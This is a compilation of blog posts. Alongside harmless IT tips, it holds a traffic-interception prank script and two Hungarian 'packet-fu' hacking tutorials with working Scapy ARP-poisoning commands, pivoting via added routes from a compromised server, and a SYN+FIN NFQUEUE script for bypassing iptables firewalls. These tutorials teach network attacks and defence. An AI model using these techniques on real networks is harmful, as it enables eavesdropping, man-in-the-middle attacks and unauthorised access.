What is prisoner.iana.org?

IANA was the name of the organization that was responsible for handing out IP address blocks back in the day.

There was a need for a placeholder zone for the three blocks of non-routable addresses, so IANA setup three DNS servers: blackhole-1.iana.org, blackhole-2.iana.org and prisoner.iana.org.

If a system with the address range: 192.168.XXX.XXX tries to register its PTR record without a local DNS server, it will try to register with prisoner.iana.org. Obviously prisoner.iana.org will reject the request. Hence the many instances of this address in the DNS logs / Event Viewer.

My Screen Is Upside Down! – Shortcut Keys To Fix

If the display has been rotated, it can normally be corrected by pushing the key combination <Ctrl> + <Alt>+  <Up Arrow>.

This capability to invert/rotate the display is a feature of some of the Intel® Extreme Graphics Chipset driver.

Image rotation is enabled by default and is activated by the default key combination <Ctrl> + <Alt> + <F1>.

Once it is activated, you can rotate the display with the additional “Hot Keys”:

<Ctrl> + <Alt> + <Right Arrow>
<Ctrl> + <Alt> + <Down Arrow>
<Ctrl> + <Alt> + <Left Arrow>
<Ctrl> + <Alt> + <Up Arrow>

To disable this Hot Key Feature, remove the check from the Enable Hot Keys selection box in the Extended Graphics properties.

 

Have fun: Upside down

Example:

For more fun, we set iptables to forward everything to a transparent squid proxy running on port 80 on the machine.

/sbin/iptables -A PREROUTING -s 192.168.0.0/255.255.255.0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.0.1

That machine runs squid with a trivial redirector that downloads images, uses mogrify to turn them upside down and serves them out of its local webserver.

The redirection script

#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while (<>) {
        chomp $_;
        if ($_ =~ /(.*\.jpg)/i) {
                $url = $1;
                system("/usr/bin/wget", "-q", "-O","/space/WebPages/images/$pid-$count.jpg", "$url");
                system("/usr/bin/mogrify", "-flip","/space/WebPages/images/$pid-$count.jpg");
                print "http://127.0.0.1/images/$pid-$count.jpg\n";
        }
        elsif ($_ =~ /(.*\.gif)/i) {
                $url = $1;
                system("/usr/bin/wget", "-q", "-O","/space/WebPages/images/$pid-$count.gif", "$url");
                system("/usr/bin/mogrify", "-flip","/space/WebPages/images/$pid-$count.gif");
                print "http://127.0.0.1/images/$pid-$count.gif\n";

        }
        else {
                print "$_\n";;
        }
        $count++;
}

More:

http://www.ex-parrot.com/~pete/upside-down-ternet.html

😀 😀 😀 😀 😀 😀

packet-fu 4.

Az előző packetfu postokban a layer3 és 4 magasságában mozgolódtunk, most elmaszatolunk a 2-esen is egy kicsit. Ez a post elsősorban az ethernet, és routing lehetőségeit kapirgáltuk. Az eddig leírt módszerek magasabb layereken dolgoznak, de lehet az L2-n is sumákolni. A post első felében a layer2: a switch, és Ethernet témát piszkáljuk. Nincs benne semmi fu, de a kung-fu-nak sem a verekedés a lényege. (Ezt a Kung-fu pandában hallottam. Jó film.) Szóval kellenek az alapok is. Tudom hogy sok mindenkinek ezek nem mondanak újat, de olyanok is olvassák akiknek ezekből nem volt meg minden, a hackelés alapja pedig a megismerés. Lesz azért némi fu is.

Ethernet frame

ethernet-frame

Így néz ki egy Ethernet frame (magyarosan keret, a hálózati csomag adatkapcsolati megfelelője), ha találkoztál már vele – mondjuk Wiresharkban -, akkor a 7+1 byteos Preamble és a 4 byteos CRC esetleg új lehet. Ezekkel nem találkozunk snifferben mert csak a hálókártya számára szolgáltatnak releváns információt: Mivel a küldő és a fogadó fél rendszerórája nem egyszerre jár, ezért szükség van némi szinkronizálásra, erre szolgál a Preamble. Mielőtt a hálókártya kiküldi a csomagot, számol rá egy CRC-t, a fogadó hálókártya ez alapján fogja tudni ellenőrizni hogy nem sérült-e. A fejlécben a cél és a forrás MAC cím, +2 byte az Ethertype már valószínűleg ismerős.

Az Ethertype még az érdekes, ez mondja meg hogy milyen típusú a payload, milyen protokoll van a framen belül. Néhány ismertebb:

0x0800 IPv4
0x0806 ARP
0x8100 802.1Q / VLAN taggelt frame
0x814c SNMP
0x86dd IPv6

A MAC address 6 bytejából, ebből az első 3 az OUI vagy Company ID. Ebből vissza lehet keresni a gyártót, akár googleba “mac vendor lookup” kulcsszavakra, vagy az ieee.org-on.

Switch és Ethernet

Egy switch egy L2 device, csak az Ethernet framekkel foglalkozik, ez alapján dobálja a portjai között a csomagokat, és semmit se tud a világ igazságtalanságairól. Az egyszerűbbeken semmiféle konfigurálási lehetőség nincs, ezeket általában otthoni hálózatban vagy kis irodai környezetben használják, unmanaged switch néven emlegetjük őket. Ezek meglehetősen naív teremtmények, csak azt tartják számon, hogy melyik porton milyen MAC címekkel találkoztak. Az ezeket az összerendeléseket számontartó adatstruktúrára CAM táblaként (Content Addressable Memory), MAC táblaként, filtering databaseként szoktak hivatkozni. A Wiley féle Switch Book kicsontozza a switchek lelkületét.

A switch amikor valamelyik porton kap egy frame-t, a táblában rögzíti, hogy a küldő MAC cím ezen a porton forgalmaz, és utánanéz a táblában hogy a címzett MAC-et melyik porton látta utoljára, és arra küldi tovább a framet. Ha olyan MAC a címzett ami nem szerepel a CAM táblában akkor azt a csomagot minden portra kiküldi, a CAM mérete viszont korlátozott. Erre alapoz a MAC flood támadás, ami random source MAC címekkel teleszemeteli a CAM-et, így a minket közvetlenül kiszolgáló switch-en keresztülmenő összes forgalmat megkaphatjuk (ez önmagában lehallgatásra jó, közbeékelődésre még nem). Adsniff csomagból a macof nevű tool pont erre lett kitenyésztve.

A Port Security úgy oldja meg ezt a problémát, hogy egy bizonyos porton nem enged forgalmazni csak meghatározott MAC címeknek, de ez túlmutat a nem-menedzselt switchek képességein. Erre még visszatérünk. Ha ettől eltérővel próbálkozik valaki azon a porton, akkor vagy nem engedi át, vagy kap a port egy shutdown-t, és akkor ott van vége a kísérletezgetésnek, bár a korlátozás alapvetően elég egyszerűen, a megfelelő MAC beállításával átléphető.

VLANok

Nagyobb hálózatokban már felmerül az igény az egymástól szeparált virtuális LAN-ok, vagyis VLAN-ok használatára, ezekhez viszont ennek megfelelő eszközökre van szükség. A managed switcheknél megvan ez a lehetőség, de egy kicsit mélyebb zseb kell hozzájuk. Dióhéjban arról szól a történet, hogy a végpontok és a switchek között standard ethernet framekbe csomagolva történik a kommunikáció, de a switchek és routerek között ezeket a frameket megtoldják még néhány bytetal, azaz feltaggelik a framet.

802.1Q_1

A képet a ciscoiseasy.blogspot.hu-ról csórtam, ami egyébként egy tök jó resource Cisco témában. ^__^

Amikor egy switch kap egy Ethernet framet az egyik végpont felől, az kap egy új Ethertype mezőt 0x8100-al, ezt követi a 4 byteos 802.1Q header, és a hálózatnak a VLAN-aware részén így fog közlekedni a frame. Amikor valamelyik switchnél elhagyja a csomag a hálózat VLAN-aware szegmensét, leszedi róla a taget (visszakapjuk az eredeti csomagot), és így küldi tovább. A VLAN tag 12 bites, így összesen 4096 VLAN-t lehetne használni, de a 0x000 és a 0xFFF kimarad a játékból, így csak 4094-et. A VLAN-aware hálózaton egy taggeletlen csomag a natív VLANhoz tartozik.

Az hogy egy végpont melyik VLAN-hoz tartozik, a switchen vagy port, vagy MAC cím alapján kerül meghatározásra. Onnantól fogva azon a porton vagy azzal a MACkel érkező framek egy megadott vlanra lesznek feltaggelve. A switchek és routerek egymás között trunk portokon beszélgetnek, tehát egy trunk portról bármelyik VLANhoz hozzá lehet férni. A VLAN taggelésről a IEEE 802.1Q szól.

Port stealing / CAM table poisoning

Maga a port stealing kizárólag a switch CAM tábláját érinti, így az áldozat számára kb teljesen észrevehetetlen. Mint azt már fent említettem, a switch a source MAC addresst asszociálja a CAM táblában a megadott porthoz.

A módszer lényege hogy a célpont MAC címével forgalmazunk frameket, az tökmindegy mi van benne. A switch ekkor a mi, azaz a támadó porján fogja látni azt a MACet, és az annak küldött framek ezen a porton fognak landolni. Viszont eközben az áldozat is forgalmaz, ami bekavar a támadásnak, ezért a kamu frameket folyamatosan küldözgetni kell. Máshogy fogalmazva: a switch mindig arra a portra küldi a forgalmat, amelyiken a legutóbb látta a címzett MAC-et. A támadás természeténél fogva port security esetén ez a módszer nem használható.

http://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf

Routing mogyoróhéjban

Szó lesz most a routingról, és routerről. A routing a kernel dolga, ez az a varázslatos kód, ami a forgalmat terelgeti. A router Layer3 eszköz: míg a switch a fizikai portok között dobálja a frameket, a router a hálózatok között dobálja a paketokat.

Szeretnénk megpingelni a szomszéd gépet a LAN-ban aki a 192.168.1.3. Tudjuk a cél IP-t, de ez minden. Egyáltalán melyik interfacen küldjük ki a stuffot? Mi legyen a destination MAC?

Először is van egy routing táblánk.

# route -n
Kernel IP routing table
Destination   Gateway        Genmask       Flags Metric Ref Use Iface
192.168.1.0   0.0.0.0        255.255.255.0 U     0      0   0   eth0
192.168.2.0   0.0.0.0        255.255.255.0 U     0      0   0   eth1
0.0.0.0       192.168.1.254  0.0.0.0       UG    0      0   0   eth0

Ha az 192.168.1.3 -at szeretnénk megpingelni, akkor így első ránézésre az eth0 lesz a nyertes interface, mivel arrafele van egy 192.168.1.0/24-ünk, de a kernel nem úgy van vele mint én, hogy ránéz és azt mondja hogy “szerintem arra”… A kernel a FIB táblából (a route parancs alapból ezt mutatja) a Longest [Length] Prefix Match algoritmus alapján fogja tudni eldönteni hogy melyik a legmegfelelőbb irány. Ez tömören annyit jelent, hogy az lesz a nyertes interface, akinél a legtöbb bit egyezik. Esetünkben…

192.168.1.3      11000000.10101000.00000001.00000011
192.168.1.0/24
   11000000.10101000.00000001.00000000 /eth0
192.168.2.0/24   11000000.10101000.00000010.00000000 /eth1

…az eth0 az. Ha lenne még egy interface (mondjuk eth2) ami tud egy 192.168.1.0/28 -ról, akkor az lenne a nyertes, mivel a netmask több bitet fed le.

192.168.1.3      11000000.10101000.00000001.00000011
192.168.1.0/24
   11000000.10101000.00000001.00000000 /eth0
192.168.2.0/24   11000000.10101000.00000010.00000000 /eth1
192.168.1.0/28   11000000.10101000.00000001.00000000 /eth2

De nincs ilyen, ne bonyolítsuk. eth0 és eth1 van. Ott tartottunk, hogy megvan az interface hogy melyikre küldjük ki a framet. Ehhez az interface-hez tartozik egy IP cím, és egy MAC address; Ez lesz a L3 vagyis az IP csomagban a src IP cím, és a L2-n pedig az ethernet headerben ez lesz az src MAC. Jelen pillanatban ott tartunk hogy az ICMP megvan, bele tudjuk pakolni egy IP csomagba, amit belegyömöszölünk még egy ethernet frame-be. Az a baj hogy még mindig nem tudjuk hogy mi a destination MAC…

Várj.. Biztos hogy nem tudjuk? Van nekünk egy ARP táblánk is pont az ilyen esetekre. Nézzünk bele.

# arp -n
Address       HWtype  HWaddress           Flags Mask   Iface
192.168.2.44  ether   00:65:1c:c4:77:12   C            eth1
192.168.1.254 ether   00:23:f4:dc:4f:01   C            eth0

Hát nem. Sajnos. Márpedig amíg nem ismerjük a destination MAC-et addig elküldeni sem tudjuk azt a pinget az 192.168.1.3 -nak, szóval valahogy meg kéne tudni. Na erre való az:

ARP

Az ARP annyit tesz mint Address Resolution Protocol. Már tudjuk hogy melyik interface felé érjük el az 1.3-at, úgyhogy ezen kiküldünk egy framet ami a következőképpen épül fel: Az Ethernet frame src MAC -je az interface MAC címe lesz, a destination MAC pedigFF:FF:FF:FF:FF:FF, (szóval broadcast) amit a switch minden portjára ki fog küldeni, ergo mindenki megkapja, remélhetőleg az is aki magáénak tudja a 192.168.1.3-at. Az ethernet frame ethertype-ja 0x0806 azaz ARP. A framen belül már az ARP request figyel. Így néz ki az ARP packet.

ARPDatagramAz ARP request tartalmazza a küldő MAC és IP címét, valamint a címzett IP címét. Erre a csomagra fog válaszolni a címzett a küldőnek egy ARP replyvel, amelyben a source az ő saját MAC és IP címe. Szóval ebben a pillanatban ha minden simán ment akkor a 192.168.1.3 küldött nekünk egy ARP replyt amely tartalmazza a MAC address-t amely birtokában már elküldhetjük azt a nyavalyás pinget. ^__^

Így működik normál körülmények között.

ARP poisoning

Ez megint csak egy MitM támadás. Az a lényeg hogy a hálózat két szereplője között eltérítjük a forgalmat úgy, hogy rajtunk haladjon keresztül. Vannak mindenféle toolok amik elvégzik ezt a feladatot, én mégis azt mondom jobb ha kézzel rakjuk össze, mert abból lehet tanulni. A dsniff csomagból az arpspoof nevű kis tool pl. pont erre való, és elég egyszerű használni is, de nem szeretem. A játékosok: 1.1 a gateway, 1.2 mi vagyunk, 1.3 az akiről szeretnénk megtudni hogy mit beszélget az internet felé. Azt szeretnénk ha a célpont nekünk küldené azokat a csomagokat amelyeket a gateway-nek szeretne küldeni. Mielőtt még bármi huncutságot csinálnánk, routerré kell változnunk, különben az áldozat által küldött csomagok soha nem érkeznek meg a rendeltetési helyükre. Linuxon ez az

echo 1 > /proc/sys/net/ipv4/ip_forward vagy a sysctl net.ipv4.ip_forward=1 parancs kiadásával érhető el.

Windowson a

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\ alatt azIPEnableRouter értékének 1-re változtatásával.

A következőképpen kell kinéznie ennek a csomagnak:

  • a source MAC a mi interfaceünk címe, most nálam 9c:a1:34:25:00:01
  • a source IP-nek a gatewayt hazudjuk be, szóval 192.168.1.1,
  • destination MAC az áldozat MAC címe, ez most 00:1c:c0:fc:bd:b7
  • destination IP az áldozat IP-je, a 192.168.1.3

Akkor mostmár minden megvan, rakjunk össze egy ilyen gonosz kis meglepit, és küldözgessük mondjuk másodpercenként. Scapy, és nincs többé korpa, csak gyönyörű, dús haj:

>>> sendp(Ether(dst="00:1c:c0:fc:bd:b7") / ARP(op=2, \
hwsrc="9c:a1:34:25:00:01", hwdst="00:1c:c0:fc:bd:b7", \
psrc="192.168.1.1", pdst="192.168.1.3") \
inter=1, count=-1)

Jelen pillanatban az áldozat gépének ARP táblája szerint a gateway MAC címe a miénk, így a gw-nek címzett csomagok mind áthaladnak rajtunk.

C:\Users\Innocent Civilian>arp -a 192.168.1.1

Interface: 192.168.1.3 — 0xb
Internet Address   Physical Address    Type
192.168.1.1        9c-a1-34-25-00-01   dynamic

Mondanom sem kell hogy ezzel csak azt látjuk amit a kliens küld, ami a router felől jön azt már nem, szóval ahhoz, hogy a csóró áldozatunk full forgalmát eltake-eljük a routernek is el kell kezdeni hazudni… de ezt már eleget fejtegettük, úgyhogy ezt nem fogom bekopogni.

GWScan

Legyen a scenario az hogy bevertünk valami szervert:
IP: 1.2.3.4
netmask: 255.255.255.0 (-> net: 1.2.3.0, broadcast: 1.2.3.255)
gw: 1.2.3.254

Van mellette még jópár gép de azokon nem találtunk fogást… legalábbis kintről. Most egy kicsit más helyzetbe kerültünk, annak fényében hogy tudunk játszani a L2-vel, és a routolással is. L2 helyett most inkább routolással játszunk.

A hálózaton lévő egyik-másik vas mögött talán van valami egyéb infrastruktúra: mittudomén, backend szerverek, adatbázis szerverek, office háló, vagy akármi… Még nem tudjuk, de szeretnénk megtudni. “Mindig izgis amikor ismeretlen helyeket kell felderíteni.” – Shackleton 🙂 Azt, hogy milyen hálózatokat ismernek az egyes gépek többféleképpen is kideríthetjük. A legkézenfekvőbb gondolat belesniffelni a kábelbe – amit a jól bekonfolt gépek teleböfögnek ARP requestekkel -, de ennél azért többet szeretnénk.

A packet-fu 1. -ben ismertetett timestamp-fu már sokkal átfogóbb képet tud adni, hiszen kb. tetszőleges címről megmondható így hogy ismeri-e azt a célgép vagy sem. Azt is be lehet vele lőni, hogy hogy van felosztva az a subnet amire egyébként nem látunk rá ugyan (még), de legalább már tudjuk hogy van. Már csak azért is powa feature ez, mert anélkül mappeled fel a subneteket és broadcastokat hogy akár egyetlen packetet kéne küldened abba a hálóba, szóval pl. ha ott van egy IDS akkor az nem fogja látni a kis mappelésünket.

A gwscan már erősen offenzív, de mégsem annyira mint L2-n garázdálkodni. Azokat a hostokat keressük akik routerként funkcionálnak, szóval az ip_forward = 1 (mert mondjuk ők a gatewayei a mögöttes subnetnek). A módszer lényege abban áll, hogy olyan packetokat küldünk a hostoknak amelyekben a feltételezett másik hálózaton csücsülő hostokat szólítjuk meg valamilyen módon. Ha futtattunk előtte egy tcpdumpot akkor már lehet képünk arról hogy miket keressünk elsőnek. A legegyszerűbb megpingelni őket. A leghatékonyabb ha broadcast MAC-re küldjük, de ha esetleg ellenérzésünk lenne amiatt, hogy vadbarom módjára teleordibáljuk a hálót (mint a debreceni főteret a hőbörgős hónaljszagú részeg tizenévesek szombat esténként), akkor az teljesen érthető. Rendes ninnya nem kajabál. Beszéljenek inkább a példák…

>>> a,u = srp(Ether(dst="ff:ff:ff:ff:ff:ff") \
/ IP(dst="192.168.*.1") / ICMP() ,timeout=2 )

>>> for p in a: p[1].sprintf("%Ether.src% %IP.src% %ICMP.type%")
'00:17:df:26:e5:b0 192.168.0.1 echo-reply'
'00:17:df:26:ec:b0 192.168.2.1 echo-reply'
'00:17:df:26:ec:b0 192.168.12.1 echo-reply'
'00:1e:67:80:1c:a1 192.168.13.1 echo-reply'
'00:1e:67:f5:cc:10 192.168.40.1 echo-reply'
'00:17:df:26:ec:b0 192.168.168.1 echo-reply'
'00:17:df:26:ec:b0 192.168.169.1 echo-reply'
'00:25:90:c2:11:de 192.168.173.1 echo-reply'
'00:17:df:26:e5:b0 192.168.200.1 echo-reply'

(Csak a példa kedvéért 192.168.*.1, nyilván nézhetsz más hálókat is meg full /16-ot is végig pingetheted, vagy kitalálhatsz valami kultúráltabb megoldást is.)

Most csak azt sikerült megtudnunk, hogy milyen MAC addressről jöttek (mármint a gateway MAC-jei ezek) a packetek. Ahhoz, hogy tovább tudjunk lépni, először csinálunk egy listát arról hogy a subneten melyik IP-hez milyen MAC tartozik, ez tök egyszerűen ARP kérésekkel megvalósítható. Ebben megtaláljuk hogy a kiboldozott 00:1e:67:f5:cc:10 MAC címmel -mondjuk- az 1.2.3.10 rendelkezik. Az óriáskövetkeztetés hogy az 1.2.3.10 mögött van egy 192.168.40.1 gép egy valamekkora subneten. Majd azt is kiderítjük.

Most már minden infó megvan ahhoz hogy elkezdjük penetrálni a 192.168.40.x -et, úgyhogy nincs más hátra, mint hogy vegyük fel a gépen a route szabályt. miszerint a192.168.40.0/24 -et a 1.2.3.10 -en keresztül lehet elérni.

# route add -net 192.168.40.0/24 gw 1.2.3.10

Innentől fogva “szabad az út” a 192.168.40.0/24 felé, lehet garázdálkodni.

# nmap -sP 192.168.40.0/24

Starting Nmap 5.00 ( http://nmap.org/ ) at 2013-09-10 17:37 CEST
Host 192.168.40.1 is up (0.00042s latency).
Host 192.168.40.2 is up (0.00042s latency).
Host 192.168.40.3 is up (0.00034s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 4.12 seconds

Ennek a postnak most itt a vége, de még így is jobb lovestory mint a Twilight. 🙂 h

Átemelve http://buhera.blog.hu/2013/12/07/packet-fu_538

packet-fu 3.

Ott hagytuk abba előző postban hogy fókuszáljunk a bypassra L3 és L4en. Néhány általános gondolat mielőtt nekiállunk játszani. Egy negatív modell tűzfalat jóval könnyebb elcseszni: Ha packetolással megyünk neki, jobb eséllyel bypassolható mint egy plusszos. Egy plusszos tűzfalon sokkal nehezebb kapaszkodót találni. A kulcsszavak: feltételezés, vizsgálat, kizárás – addig amig sikerül leszűkíteni a lehetőségeket. Valamennyire lehet automatizálni de nincs klisé, nyitott szemmel kell járni, és megkérdőjelezni azt is ami nyilvánvaló.

Ami kimarad…

Szívesen írnék IPv6-ról, de nem tehetem mert még nincs hozzá elég manapontom. :” Úgyhogy bármennyire is adja magát, ez kimarad. Szintén kimarad a NATolás, mert az is kitesz egy postot, úgyh azt majd valamikor ezután.

Egyszerűen meg van oldva a probléma, ha valamilyen szolgáltatás/alkalmazás (L4 fölött bármi) tulajdonságait, hibáját kihasználva tudunk landolni a tűzfal mögött, ami itt már jó eséllyel nem fog közbeszólni. App layer fw se mindig fogja meg a common attackokat, egyes toolok meg bypassra is be vannak tanítva. Ezt a vektort sem piszkáljuk, mert valami magasabb layeren kéne randalírozni, de ez most paketolós post.

Megkerülés?

A szolgáltatások/szerverek konfigjában sokszor defaulton marad a “hol_listeneljek” opció -ami önmagában is rossz hozzáállás-, tipikusan “0.0.0.0”. Egy szervernek lehet több címe, de nem biztos hogy mindegyiket fogja a tűzfal. Tehát meg kéne tudnunk hogy milyen címeket tud még magáénak. Ha van egy darab port ami nincs filterezve és válaszol, (nemkell nyitott portnak lennie, lehet zárva, tökmindegy csak válaszoljon) akkor a packetfu1.-ben leírt timestamp-fu segítségével fel lehet mappelni hogy milyen IP-k tartoznak még hozzá.

Ha már IPoptionsnál járunk akkor szokták még emlegetni hogy az IPoptions/LSR|SSR(Loose|Strict Source Routing) segítségével megadhatjuk hogy milyen úton haladjon a csomag a célpontig, így bizonyos esetekben lehetőséget adhat a tűzfal kijátszására. A neten nagyon kis eséllyel jön szembe, mivel a legtöbb router és OS defaultból tiltja, mivel meredek security vonzatai vannak. Ahelyett hogy a lehetőségeit feszegetnénk, vizsgáljuk inkább meg a működési mechanizmusát: Az options-ben fel vannak sorolva ugye a címek amelyeken keresztül kell haladnia a csomagnak. Amikor egy host megkapja, megnézi hogy a pointer által mutatott cím az övé-e, és ha igen, akkor lecseréli az IP destination addressét erre (,illetve a source IP-t beleírja az aktuális pozicíóba, majd lépteti a pointert). Most lehet hogy felkapod a fejed, hiszen egyrészt utazás közben folyamatosan változik az IP src és dst, másrészt a TCP checksum kiszámoláshoz kell ugye a src és a dst is az IP-ből. Miközben a packet utazik a hálózaton, a TCP checksum végig hibás, csak akkor válik helyessé amikor eléri a célt.

Nekem még eddig sosem volt szerencsém a source routinggal. Itt van két prg: lsrscan éslsrtunnel amivel el lehetne játszani, de nekem nem akarta azt az igazságot amit én akarok… bár nem is nagyon erőltettem. IP optionsba kézzel összerakni (lábbal hogy?) sem bonyolultabb mint a timestampet. Itt és itt utána lehet nézni.

Elég gyakori hogy egyik másik szolgáltatás elérhetősége forrás IPre/netre van korlátozva. Nos, ez többnyire rossz hír, vagy legalábbis addig az, amíg nem tudsz a megfelelő tartományból/hostról érkezni. Feltéve hogy tudod mi a megfelelő. Itt kezdődnek a problémák. Nagyban kontextusfüggő, de segíthet egy jó hálózati térkép, esetleg bármilyen infoleak az alkalmazásrétegen vagy protokollokban. Erre nincs recept. :/

Ha tudod hogy honnan enged a tűzfal, akkor egy picivel közelebb vagy. Ha van source routing, akkor elméletben ezzel meg lehet ütni, de ezt nem volt alkalmam saját szememmel látni, kitapasztalni. Kézenfekvőnek tűnik felpattintani egy vasat ahonnan engedve van. Az is megoldás lehet ha abban a tartományban fel tudsz venni egy IP-t, vagy bele tudsz mocskoskodni a routolásba, de sekély esély. Spoofolás még szóba jöhet, de egyrészt ahhoz is tudni kell hogy honnan engednek a ruleok, másrészt nem látod a választ, tehát tcp kapcsolatot sem fogsz felépíteni. Spoofolással max azt tudod elérni hogy egy okos tűzfal appliance kitiltja a “malicious” IP-t.

A Barracuda balhéból leakelt iptables szabályok úgyis most volt nemrég. Első észrevétel hogy negatív security model, default accept. (oké, pszeudopozitív mert ott van a végén a drop) Második észrevétel hogy csak bizonyos hálózatok felől engedi az ssh-t: Ha ezek közül sikerül megpukkantani egy címet -mindegy hogyan- akkor -az advisory szerint- effektíve nincs többé tűzfal. Arról már nem is beszélve hogy a –tcp-flags -es szabályokat leárnyékolják az előtte lévők… (rule shadowing, anomália.)

Hibás szabályok

Amikor hibás szabályokat emlegetek akkor többnyire nem egy-egy hibás szabályt értek, a teljes szabálykészletre gondolok. A szabályok egyesével lefednek kisebb-nagyobb felületeket, de a szabályok összessége, a teljes szabálykészlet az ami végül meghatározza hogy a tűzfal mit enged és mit nem. A szabálykészletet sokféleképpen el lehet cseszni, de az eredmény mindig ugyanaz: nem biztosít megfelelő fedést. Én most a netfilter/iptables -el fogok példálózni. Ennek a felépítésről, működéséről egy nagyon zsivány kis összefoglaló itt.

Valami howtoból pár sor:

01- [bash]# iptables -P INPUT DROP
03- [bash]# iptables -P OUTPUT DROP
06- [bash]# iptables -A INPUT  -i ppp0 -p tcp --sport 80 -j ACCEPT
07- [bash]# iptables -A OUTPUT -o ppp0 -p tcp --dport 80 -j ACCEPT

A ppp0 oldalán élő rossz emberek minden további nélkül megtehetik hogy a 80-as portól kezdeményeznek kapcsolatot a local szolgáltatásokhoz. Hiába DROP policy, a source portot én adom meg. Ez a –sport-os bénázás ebben a kiszerelésben jónéhány tutorialbanvisszaköszön.

# from dmz to internal
iptables -A dmz-good -p tcp --dport smtp -j ACCEPT
iptables -A dmz-good -p tcp --sport smtp -j ACCEPT

Ha TCPről és tűzfal bypassról beszélünk akkor a SYN+ACK a kulcs, ezt szeretnénk látni. Ha a SYN+ACK megvan, akkor egy csomagszűrő tűzfal onnantól már nem nagyon fog beleszólni. Nézzünk valami konkrétat.

Egy érdekes kapcsoló az iptablesben a –syn, ami elég gyakran előfordul tűzfal scriptekben. Érdemes megvizsgálni (man iptables). Azt mondja hogy:

[!] --syn
Only match TCP packets with the SYN bit set and the ACK,RST and FIN bits cleared. Such packets are used to request TCP connection initiation; for example, blocking such packets coming in an interface will prevent incoming TCP connections, but outgoing TCP connections will be unaffected. It is equivalent to --tcp-flags SYN,RST,ACK,FIN SYN. If the "!" flag precedes the "--syn", the sense of the option is inverted.

Tömören: Ha a SYN, RST, ACK, és FIN flagek közül csak a SYN van beállítva akkor matchel. Ez elsősorban negatív model tűzfalaknál okoz parát, ugyanis a TCP kapcsolatot fel lehet építeni SYN+FIN flaggel is. Ez esetben a 3way handshaket kell megtweakelni, tehát a kapcsolat a szokásos <SYN><SYN+ACK><ACK> helyett <SYN+FIN><SYN+ACK><ACK> -al fog létrejönni. És ami a scannelés résznél kimaradt, az a SYN+FIN scan, amit a SYN scan mellett még célszerű lefuttatni, illetve összehasonlítani. Az nmap –scanflags SYNFIN hatására csinál ilyet, és ha mákunk van akkor lehet hogy kiesik még néhány “open” port. A példa kedvéért:

# nmap <target_ip> -p 3306 -n -PN --reason -sS

Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT     STATE    SERVICE REASON
3306/tcp filtered mysql   no-response

# nmap <target_ip> -p 3306 -n -PN --reason --scanflags SYNFIN

Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-01 19:38 CET
Interesting ports on <target_ip>:
PORT     STATE SERVICE REASON
3306/tcp open  mysql   syn-ack

Negatív modelről van szó, tehát default ACCEPT policy. Annyi történik hogy a szabály nem fog matchelni, és ha nincs más tiltás, akkor a chain végén az ACCEPT lesz a nyertes. Akkor építsünk fel egy kapcsolatot egy ilyen (majdnem) filterezett porton… El lehet játszani scapyval, és lezongorázhatjuk a 3way handshaket, ami tök jó tapasztalatnak, de a gyakorlatban ez kevés. Nem egy POC-ra van szükség, hanem szeretnénk a szolgáltatáshoz a megfelelő clienttel csatlakozni, ehez viszont bele köll túrni a paket flowba. Van pár lehetőség, de megpróbáltam valami elegáns és relativ portable megoldást összehozni.

Emögött a módszer a következő: IPtablessel az OUTPUT chainen a cél felé menő csomagot, de csak azt amiben _csak_ a SYN flag van beállítva, lerakjuk NFQueue-ba, majd eldropoljuk mert nem kell, van belőle másolat. Egy pyton script kibányássza az nfqueue-ból, módosítja a flageket SYN -ről SYN+FIN-re, és elküldi. Ennyi, nincs vele több dolog. Ez után már a megszokott módon lehet használni az akármilyen klienst. MySQL-en ez a különbség:

# mysql -h target_ip
ERROR 2003 (HY000): Can't connect to MySQL server on 'target_ip' (110)

…ez egy connrefuse volt…

# mysql -h target_ip
ERROR 1045 (28000): Access denied for user 'root'@'target_ip' (using password: NO)

Ez meg nem.

Az nfqueue-s ötletet és a kódot innen vettem kölcsön.

synfinfu.sh:

#!/bin/bash

iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j NFQUEUE --queue-num $$

iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -d $1 --dport $2 -j DROP

python synfinfu.py $$

synfinfu.py:

import logging, sys, nfqueue
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb = 0

qid = sys.argv[1]

def synfin(i, payload):
data = payload.get_data()
p = IP(data)
p[TCP].flags="SF"
del p[IP].chksum
del p[TCP].chksum
p = p.__class__(str(p))
send(p);

q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(synfin)
q.create_queue(qid)

try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
sys.exit(1)

Ezt nemsokára kinn lesz Gitoriuson is. Kelleni fog az nfqueue, szóval először…

# modprobe nfnetlink_queue

aztán

# apt-get install nfqueue-bindings-python

végül:

# ./synfinfu.sh <szerver_ip> <port>

és már lehet is kapcsolódni a szolgáltatáshoz a kedvenc klienssel.

Mára ennyi a paketolásból. Még egy pár gondolat így a végére: Alkalmazásrétegen / egyéb protokollokon keresztül bypass-ra majd visszatérünk egy külön postban. A Netfilter lelkivilágáról egy itt egy szép rajz, ha valakinek kedve támad teszteléshez: http://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg

A következő post is paketolás lesz, ezen belül a MITM támadások, spoof … még most körvonalazódik. Bármi kérdés, kérés, felvetés, javaslat, anyázás jöhet kommentbe. ^^

Átemelve http://buhera.blog.hu/2013/03/04/packet-fu_513